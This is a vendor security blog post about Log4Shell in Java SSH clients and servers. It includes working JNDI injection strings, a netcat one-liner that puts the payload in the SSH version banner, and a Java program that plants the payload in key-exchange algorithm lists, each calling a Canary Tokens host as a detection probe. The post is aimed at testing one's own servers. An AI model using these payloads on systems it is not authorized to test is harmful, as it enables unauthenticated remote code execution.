Log4J and Log4Shell in Java SSH Clients and Servers

The major flaw found in Log4J, a Java logging API, has had a lot of focus this week, and security experts and IT teams have been scrambling to ensure their web servers are not vulnerable.

Amid all this craziness, we should not forget that Enterprise Java Software is not limited to the world of HTTP and web servers. One of the other popular protocols that companies utilize around the globe is the SSH protocol to share files via SFTP and automate processes through scripts, which in most cases, are executed by privileged accounts.

Many of these servers use Java SSH libraries like Jsch, SSHJ, Apache Mina or our offerings, the Maverick Legacy and Maverick Synergy Java SSH APIs. And if they happen to be using Log4J, they are just as susceptible to the Log4Shell vulnerabilities as any other Java program that accepts user input.

Within the SSH protocol, there are many areas that we can target with Log4Shell. Firstly, suppose you have implemented a Java SSH server or client that accepts user input. It does not matter if this is behind an authentication screen; any bad actor can exploit this, whether or not they are internal or external to your organization.

Exploiting Java SSH

There are many choices for exploiting a Java SSH client or server that uses Log4J. The username is a prime candidate as the first entry point for most users. If an application allows this to be entered manually by the user, you should test this input for exploits. You can likely use any SSH client for this as usernames are very rarely validated at the client-side.

To try this yourself, get a token from Canary Tokens and create your exploit string in the format below. Canary Tokens will provide you with a hostname token; you can use this in the Log4J exploit string to attempt to trigger a DNS lookup. If your application triggers the DNS lookup, it’s vulnerable to the Log4Shell attack. The great thing about a Canary Token is it will email you when the token is triggered.

${jndi:ldap://<token>}
e.g.
${jndi:ldap://xxxxxxxxxxxxxxxxx.canarytokens.com}

You should test all user input that your application passes to the Java SSH API, including but not limited to usernames, SCP or SFTP file paths, commands to execute, shell input, and port forwarding hostnames.

Digging Deeper

These alone, however, should not leave you with any comfort that a Java SSH client or server using Log4J is not vulnerable if you don’t supply any input to it. Even if everything is hard-coded and controlled by your implementation, we now have to examine what a bad client or server could do.

There are several exchanges in the protocol where the client and server exchange information to negotiate settings. It’s pretty common for a Java SSH implementation to log these settings at some level. A rouge implementation could exploit this issue if an attacker can compose the necessary message format. Let’s remember all the consuming application has to do is log the string provided.

Whilst the Maverick Java SSH APIs are not vulnerable out-of-the-box, it is possible to configure them to use Log4J2. To demonstrate the potential, I configured a workspace with the Maverick Legacy API and Log4J2 to test some of these exploits.

We can exploit this immediately with a simple command line:

printf 'SSH-2.0-${jndi:ldap://xxxxxxxxxxxxxxxxx.canarytokens.com}' | nc localhost 22

The server logs this at the INFO level. Therefore, with the vulnerable Log4J libraries installed and configured, an attacker can exploit this; the only thing required is access to the server via TCP/IP, no authentication necessary. If your Java SSH server is open to the internet, it is vulnerable when using Log4J in this configuration.

We can go further and try to attack using algorithm negotiation. When an SSH connection starts, both sides send a list of strings that contain all the algorithms they support. Again, it’s important to stress that all an attacker needs are connections to your server; this exchange happens before user authentication and can be run by anyone that has access to the server port.

We can replicate the binary message format required by SSH with little effort. Here I’ve created a Java program to generate the message. I’ve dropped in an exploit string in each algorithm list in the hope it makes its way into Log4J2. This uses utility classes that are available in our open-source Maverick Synergy Java SSH library.

ByteArrayWriter msg = new ByteArrayWriter();
		
msg.write("SSH-2.0-Log4Shell\r\n".getBytes("UTF-8"));
		
ByteArrayWriter kex = new ByteArrayWriter();
kex.write(20);
kex.write(new byte[16]);
kex.writeString("diffie-hellman-group1-sha1,${jndi:ldap://xxxxxxxxx.canarytokens.com}");
kex.writeString("ssh-rsa,${jndi:ldap://xxxxxxxxx.canarytokens.com}");
kex.writeString("aes128-ctr,${jndi:ldap://xxxxxxxxx.canarytokens.com}");
kex.writeString("aes128-ctr,${jndi:ldap://xxxxxxxxx.canarytokens.com}");
kex.writeString("hmac-sha2-256,${jndi:ldap://xxxxxxxxx.canarytokens.com}");
kex.writeString("hmac-sha2-256,${jndi:ldap://xxxxxxxxx.canarytokens.com}");
kex.writeString("none");
kex.writeString("none");
kex.writeString("");
kex.writeString("");
kex.writeBoolean(false); // First packet follows
kex.writeInt(0);

int padding = 4;
padding += ((8 - ((kex.size() + 1 + padding) % 8)) % 8);
		
msg.writeInt(kex.size() + padding);
msg.write(padding);
msg.write(kex.toByteArray());
msg.write(new byte[padding]);
		
IOUtils.writeBytesToFile(msg.toByteArray(), new File("log4shell.dat"));

The program creates a file called log4shell.dat that contains the first two messages in the SSH protocol exchange. Modify the example to include your valid Canary Token to detect problematic servers.

We can use netcat again to send this to a server:

cat log4shell.dat | nc localhost 22

If a server is vulnerable and logging negotiating algorithms, this test will find it. To verify the message is authentic and will pass validation by an SSH implementation we ran the test against a non-vulnerable server built with Maverick Synergy. Maverick Synergy uses its own logging mechanism so is not vulnerable to attack. When we execute this test we can see the algorithms logged in DEBUG mode but importantly our canary token is not triggered.

14 Dec 2021 21:56:41,355 [     pool-1-thread-1]   INFO - Connnection /[0:0:0:0:0:0:0:1]:53714 identifies itself as SSH-2.0-Log4Shell
14 Dec 2021 21:56:41,355 [     pool-1-thread-1]  DEBUG - Remote client version OK
14 Dec 2021 21:56:41,355 [     pool-1-thread-1]  DEBUG - Firing EVENT_NEGOTIATED_PROTOCOL success=true
14 Dec 2021 21:56:41,356 [     pool-1-thread-1]  DEBUG - Posting SSH_MSG_KEX_INIT
14 Dec 2021 21:56:41,356 [     pool-1-thread-1]  DEBUG - Received SSH_MSG_KEX_INIT
14 Dec 2021 21:56:41,356 [     pool-1-thread-1]  DEBUG - Remote Key Exchanges: diffie-hellman-group1-sha1,${jndi:ldap://xxxxxx.canarytokens.com}
14 Dec 2021 21:56:41,356 [     pool-1-thread-1]  DEBUG - Remote Public Keys: ssh-rsa,${jndi:ldap://xxxxxx.canarytokens.com}
14 Dec 2021 21:56:41,356 [     pool-1-thread-1]  DEBUG - Remote Ciphers CS: aes128-ctr,${jndi:ldap://xxxxxx.canarytokens.com}
14 Dec 2021 21:56:41,356 [     pool-1-thread-1]  DEBUG - Remote Ciphers SC: aes128-ctr,${jndi:ldap://xxxxxx.canarytokens.com}
14 Dec 2021 21:56:41,356 [     pool-1-thread-1]  DEBUG - Remote Macs CS: hmac-sha2-256,${jndi:ldap://xxxxxx.canarytokens.com}
14 Dec 2021 21:56:41,356 [     pool-1-thread-1]  DEBUG - Remote Macs SC: hmac-sha2-256,${jndi:ldap://xxxxxx.canarytokens.com}

Conclusion

In this article, I have demonstrated that Java SSH implementations that use Log4J2 could be vulnerable to attack using elementary methods. However, each SSH implementation is different; just because the Java SSH API does not depend on Log4J2 does not exclude it from having being modified by the application vendor. I highly recommend contacting your server vendors to clarify and obtain updates if necessary.